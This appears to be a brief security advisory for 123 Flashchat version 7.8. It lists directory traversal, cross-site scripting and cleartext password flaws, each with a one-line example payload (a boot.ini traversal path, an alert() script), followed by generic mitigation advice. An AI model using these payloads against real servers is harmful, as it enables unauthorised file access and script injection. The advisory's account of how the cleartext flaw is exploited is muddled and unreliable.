123 Flashchat version 7.8 Remote

123 Flashchat version 7.8 is vulnerable to Directory Traversal, XSS and Password sent via clear text. Directory Traversal can be exploited by sending a specially crafted HTTP request containing directory traversal sequences (e.g. “/../../../../../../boot.ini”) to the vulnerable server. XSS can be exploited by sending a specially crafted HTTP request containing malicious JavaScript code (e.g. “<script>alert(“Corelan”)</script>”) to the vulnerable server. Password sent via clear text can be exploited by sending a specially crafted HTTP request containing the user’s credentials (e.g. “username=admin&password=admin”) to the vulnerable server.

Mitigation:

Upgrade to the latest version of 123 Flashchat, apply the latest security patches, and configure the application and system securely.
